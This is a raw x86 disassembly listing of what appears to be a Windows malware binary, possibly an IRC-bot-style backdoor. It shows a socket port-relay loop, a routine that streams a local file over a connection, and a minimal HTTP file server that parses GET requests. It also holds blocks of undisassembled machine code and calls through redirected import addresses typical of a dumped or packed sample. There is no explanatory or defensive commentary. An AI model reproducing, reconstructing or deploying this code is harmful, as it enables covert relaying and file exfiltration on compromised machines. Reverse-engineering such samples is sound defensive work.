		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47F:				; CODE XREF: ___:0040E49Bj
					; ___:0040E4B7j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE394
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_40E47F
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE390
		nop
		call	near ptr 2700000h
		jmp	short loc_40E47F
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C2:				; CODE XREF: ___:0040E4E8j
					; ___:0040E502j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE384
		nop
		call	near ptr 2710000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C2
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE394
		call	dword_4CB6A4
		jmp	short loc_40E4C2
; ---------------------------------------------------------------------------
dword_40E504	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2D0Eo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 59E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB654h, 6A56066Ah, 45896602h, 0D415FFCAh
		dd 89004CB6h, 458D0845h, 50106AC8h, 0FF0875FFh,	4CB68015h
		dd 0FF056A00h, 15FF0875h, 4CB67Ch, 70FC1D8Bh, 358B0042h
		dd 427068h, 75FF5757h, 0E815FF08h, 0A3004CB6h, 4CE394h
		dd 57F4458Dh, 0E3906850h, 8C68004Ch, 0C7004CE3h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE388h
		dd 4CE38468h, 6AD3FF00h, 84458D44h, 0BDE85057h,	0A10000CFh
		dd 4CE38Ch, 890CC483h, 88A1BC45h, 89004CE3h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 202CE8B4h, 50900231h, 0E38835FFh,	0E890004Ch
		dd 231201Eh, 0E5E89050h, 8D023119h, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433C0468h
		dd 0E8905700h, 22625D8h, 50E8458Dh, 0B9685757h,	8D0040E4h
		dd 5057F445h, 19AAE890h, 45890228h, 0E8458DECh,	68575750h
		dd 40E476h, 57F4458Dh, 91E89050h, 6A022819h, 0F04589FFh
		dd 0E8D875FFh, 2291AA2h, 75FF5790h, 0C2E890F0h,	57022922h
		dd 90EC75FFh, 2922B8E8h, 0F075FF02h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 302415E8h, 8C35FF02h, 0FF004CE3h,	9035FFD6h
		dd 0FF004CE3h, 8435FFD6h, 0FF004CE3h, 8835FFD6h, 0FF004CE3h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9F9Dh, 0E39CA359h
		dd 0C359004Ch
dword_40E6F0	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BACE+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 6DE85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB654h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CB6D415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFB2FFh, 8D14C483h, 0FFFD4085h, 2AE850FFh
		dd 0FF00006Ah, 0FFFF54B5h, 0CC85E8FFh, 5959FFFFh, 69E89053h
		dd 8B022E18h, 0FFFF5485h, 69106AFFh, 234C0h, 9CB88900h
		dd 8D0043E5h, 5750EC45h, 0B68015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB5E815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB27Fh, 8D14C483h
		dd 0FFFD4085h, 0AAE850FFh, 0FF000069h, 0FFFF54B5h, 0CC05E8FFh
		dd 5959FFFFh, 0E9E89056h, 68022E17h, 0FFFEh, 9E63E853h
		dd 0A3590000h, 4CE39Ch,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0B68015FFh, 0C63B004Ch, 15FF5475h, 4CB5E8h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 4E8FFFFh, 83FFFFB2h
		dd 858D14C4h, 0FFFFFD40h, 692FE850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFCB8AE8h, 565959FFh, 176EE890h, 56A022Eh, 7C15FF57h
		dd 3B004CB6h, 0D4840FC6h, 0C7000000h, 10FC45h, 10BE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CB6E815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFB186E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 68B1h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB66Ch, 74FFF883h, 0FF565696h, 4CB39035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFC2E4h, 0C685059h, 8D00433Ch, 0FFF94085h
		dd 0E85053FFh, 0D040h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C68FE8h, 8D505900h,	0FFF94085h, 75FF50FFh, 0A415FF08h
		dd 83004CB6h, 840FFFF8h, 0FFFFFF43h, 0E3A405FFh, 38E9004Ch
		dd 57FFFFFFh, 0B6EC15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFCA8AE8h
		dd 6A59FFh, 2E166FE8h
		db 2, 90h
word_40E992	dw 8B55h		; DATA XREF: sub_40BACE+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89E45Dh, 0DC5D89D4h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 57F8E890h, 5356716Ah, 0E890026Ah
		dd 716A5236h, 71F4358Bh, 4D8D0042h, 51046AE4h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AD4h,	8B57FB6Ah
		dd 0FF57F87Dh, 0DC458DD6h, 667E6850h, 0E8578004h, 716A2B36h
		dd 90A16690h, 83004CB3h, 5000B865h, 0B445C766h,	15FF0002h
		dd 4CB654h, 0B6458966h,	6AB4458Dh, 90575010h, 6A5481E8h
		dd 7DC08571h, 0E9C38B07h, 560h,	90570A6Ah, 6A7381E8h, 0D49D8971h
		dd 8BFFFFFDh, 4272241Dh, 0D8BD8900h, 89FFFFFDh,	416AFC7Dh
		dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
		dd 56FFFFFBh, 8B505656h, 5040FC45h, 6A2DF3E8h, 0F8839071h
		dd 0E840FFFh, 33000005h, 0FC7539FFh, 7C087D89h,	6AF633C5h
		dd 60858D64h, 56FFFFFDh, 0CACEE850h, 646A0000h,	0FF50858Dh
		dd 5056FFFFh, 0CABFE8h,	18C48300h, 0FBC4858Dh, 5750FFFFh
		dd 17C75E8h, 0FC08500h,	4BA84h,	0F87D3B00h, 458D7A75h
		dd 0F045C7F0h, 10h, 0C4858D50h,	50FFFFFDh, 90F875FFh, 6A9B84E8h
		dd 0FFF88371h, 491840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh
		dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h
		dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h
		dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h
		dd 68156A56h, 433ED4h, 0E9D3FF50h, 43Bh, 60858D56h, 6AFFFFFDh
		dd 90575064h, 6A6B17E8h, 7FC08571h, 0D4958B52h,	33FFFFFDh
		dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h,	3B04C083h
		dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh
		dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh
		dd 57FFFFFDh, 6A2EA4E8h, 0D4E99071h, 8D000003h,	0FFFCC885h
		dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh,	433ECCh
		dd 0DA57E850h, 858D0000h, 0FFFFFF50h, 433EC468h, 71E85000h
		dd 830000D4h, 0C08518C4h, 6A560D75h, 3EAC6816h,	82E90043h
		dd 8D000000h, 0FFFF5085h, 3EA468FFh, 0E8500043h, 0D44Ch
		dd 59C08559h, 6A560A75h, 3E8C6814h, 61EB0043h, 0FF50858Dh
		dd 8468FFFFh, 5000433Eh, 0D42BE8h, 0C0855900h, 560A7559h
		dd 74680D6Ah, 0EB00433Eh, 50858D40h, 68FFFFFFh,	433E6Ch
		dd 0D40AE850h, 85590000h, 0A7559C0h, 68106A56h,	433E58h
		dd 858D1FEBh, 0FFFFFF50h, 433E5468h, 0E9E85000h, 590000D3h
		dd 7559C085h, 1E6A560Eh, 433E3468h, 0F1E95700h,	0BF000002h
		dd 433E2Ch, 0FF50858Dh,	5057FFFFh, 0D3C3E8h, 0C0855900h
		dd 8D247559h, 0FFFCC885h, 3E2868FFh, 0E8500043h, 0D3ACh
		dd 59C08559h, 6A560D75h, 3E146813h, 0B2E90043h,	8D000002h
		dd 0FFFF5085h, 0E85057FFh, 0D38Ch, 59C08559h, 858D2475h
		dd 0FFFFFCC8h, 433E1068h, 75E85000h, 590000D3h,	7559C085h
		dd 136A560Dh, 433DFC68h, 27BE900h, 858D0000h, 0FFFFFF50h
		dd 433DF468h, 51E85000h, 590000D3h, 7559C085h, 0BE0A6A34h
		dd 433DC8h, 0D8BD8D59h,	0F3FFFFFEh, 858D50A5h, 0FFFFFED8h
		dd 0E8A56650h, 0C29Ch, 858D5059h, 0FFFFFED8h, 875FF50h
		dd 0F633D3FFh, 235E9h, 50858D00h, 68FFFFFFh, 433DC0h, 0D306E850h
		dd 85590000h, 2A7559C0h, 0A8BE056Ah, 5900433Dh,	0FF38BD8Dh
		dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C250h
		dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 433DA068h
		dd 0C5E85000h, 590000D2h, 0F59C085h, 0B685h, 2C858D00h
		dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h,	8D50E845h
		dd 8D50E045h, 8D50D845h, 0FFFD6085h, 3D7868FFh,	0E8500043h
		dd 0D861h, 0FF04858Dh, 0E850FFFFh, 0C989h, 858DF88Bh, 0FFFFFD2Ch
		dd 0C97BE850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh
		dd 0C780h, 8D34C483h, 0FFFF0485h, 0F475FFFFh, 3D706857h
		dd 0E8500043h, 0CA5Eh, 858D106Ah, 0FFFFFF04h, 8EE85056h
		dd 830000CFh, 45891CC4h, 0EC458DF4h, 0E8458D50h, 0E0458D50h
		dd 0D8458D50h, 0C4458D50h, 433D6468h, 2BE85000h, 830000CAh
		dd 6A5618C4h, 3D44681Dh, 1EE90043h, 8D000001h, 0FFFF5085h
		dd 3D3C68FFh, 0E8500043h, 0D1F4h, 59C08559h, 0E4850Fh
		dd 6A560000h, 3D106828h, 75FF0043h, 0FFD3FF08h,	458DF475h
		dd 20E850C4h, 59000001h, 5901F883h, 0B6850Fh, 458D0000h
		dd 858D50C4h, 0FFFFF720h, 433CF468h, 0C7E85000h, 830000C9h
		dd 0B5390CC4h, 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh
		dd 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 0AB89E8FFh
		dd 0C483FFFFh, 14AE814h, 0F8830000h, 93850F01h,	56000000h
		dd 0DC68176Ah, 0FF00433Ch, 0D3FF0875h, 50C4458Dh, 0F720858Dh
		dd 0BC68FFFFh, 5000433Ch, 0C969E8h, 0CC48300h, 0FBBCB539h
		dd 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h, 858D50FFh
		dd 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFFAB2Bh, 8D14C483h
		dd 0FFF72085h, 56E850FFh, 0FF000062h, 4CE16005h, 2EEB5900h
		dd 68206A56h, 433C98h, 858D1FEBh, 0FFFFFF50h, 42D08868h
		dd 0F5E85000h, 590000D0h, 7559C085h, 1B6A560Dh,	433C7C68h
		dd 875FF00h, 646AD3FFh,	0FD60858Dh, 5056FFFFh, 0C5F3E8h
		dd 87D8B00h, 470CC483h,	89FC7D3Bh, 8E0F087Dh, 0FFFFFB01h
		dd 0FFFAC1E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CE3A8, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE3A8
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F037
		push	dword_4CE3A8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F037:				; CODE XREF: ___:0040F01Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 2680000h
		nop
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B7
		push	edi
		mov	edi, 400h


loc_40F07F:				; CODE XREF: ___:0040F0B4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE3A8
		call	near ptr 71AB1AF4h
		nop
		push	1
		nop
		call	near ptr 2680F4Eh
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07F
		pop	edi


loc_40F0B7:				; CODE XREF: ___:0040F077j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CE3A8
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax


loc_40F0D3:				; CODE XREF: ___:0040F071j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D6	proc near		; DATA XREF: sub_401ACD+2284o
					; sub_40BACE+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB654
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E59C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB67C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB6F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AD:				; CODE XREF: sub_40F0D6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB63C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E3:				; CODE XREF: sub_40F0D6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB540
		test	eax, eax
		jz	loc_40F4A7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F265
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F237
		lea	edx, [ebp+var_134]


loc_40F22B:				; CODE XREF: sub_40F0D6+15Fj
		cmp	[edx], eax
		jz	short loc_40F237
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22B


loc_40F237:				; CODE XREF: sub_40F0D6+14Dj
					; sub_40F0D6+157j
		cmp	ecx, ebx
		jnz	short loc_40F254
		cmp	ebx, 40h
		jnb	short loc_40F254
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F254:				; CODE XREF: sub_40F0D6+163j
					; sub_40F0D6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A7
		mov	[ebp+var_8], eax
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F265:				; CODE XREF: sub_40F0D6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		test	eax, eax
		jg	short loc_40F2F8
		push	esi
		call	dword_4CB6EC
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A7
		lea	eax, [ebp+var_134]


loc_40F2B7:				; CODE XREF: sub_40F0D6+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B7
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2C8:				; CODE XREF: sub_40F0D6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EC
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D6:				; CODE XREF: sub_40F0D6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D6


loc_40F2EC:				; CODE XREF: sub_40F0D6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2F8:				; CODE XREF: sub_40F0D6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A7


loc_40F326:				; CODE XREF: sub_40F0D6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39F
		mov	eax, offset asc_42D128 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B6
; ---------------------------------------------------------------------------


loc_40F39F:				; CODE XREF: sub_40F0D6+27Fj
					; sub_40F0D6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_433F14 ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3EA


loc_40F3B6:				; CODE XREF: sub_40F0D6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CB:				; CODE XREF: sub_40F0D6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F326
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F3EA:				; CODE XREF: sub_40F0D6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F434
		lea	eax, [ebp+var_134]


loc_40F3F6:				; CODE XREF: sub_40F0D6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F407
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F6
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F407:				; CODE XREF: sub_40F0D6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42B
		lea	eax, [ebp+ecx*4+var_134]


loc_40F415:				; CODE XREF: sub_40F0D6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F415


loc_40F42B:				; CODE XREF: sub_40F0D6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F434:				; CODE XREF: sub_40F0D6+318j
		mov	esi, [ebp+var_4]


loc_40F437:				; CODE XREF: sub_40F0D6+32Fj
					; sub_40F0D6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F4A0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F4A0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6F0
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B4
		add	esp, 14h
		jmp	short loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F4A0:				; CODE XREF: sub_40F0D6+369j
					; sub_40F0D6+38Fj
		push	esi
		call	dword_4CB6EC


loc_40F4A7:				; CODE XREF: sub_40F0D6+11Dj
					; sub_40F0D6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E3
		jmp	loc_40F1AD
; ---------------------------------------------------------------------------


loc_40F4BC:				; CODE XREF: sub_40F0D6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C1:				; CODE XREF: sub_40F0D6+6Aj
					; sub_40F0D6+92j ...
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_433EEC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F507
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A73
		add	esp, 14h


loc_40F507:				; CODE XREF: sub_40F0D6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_254]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F531	proc near		; DATA XREF: sub_40F6B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F597
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59C
; ---------------------------------------------------------------------------


loc_40F597:				; CODE XREF: sub_40F531+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59C:				; CODE XREF: sub_40F531+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2750000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 2740000h
		nop
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
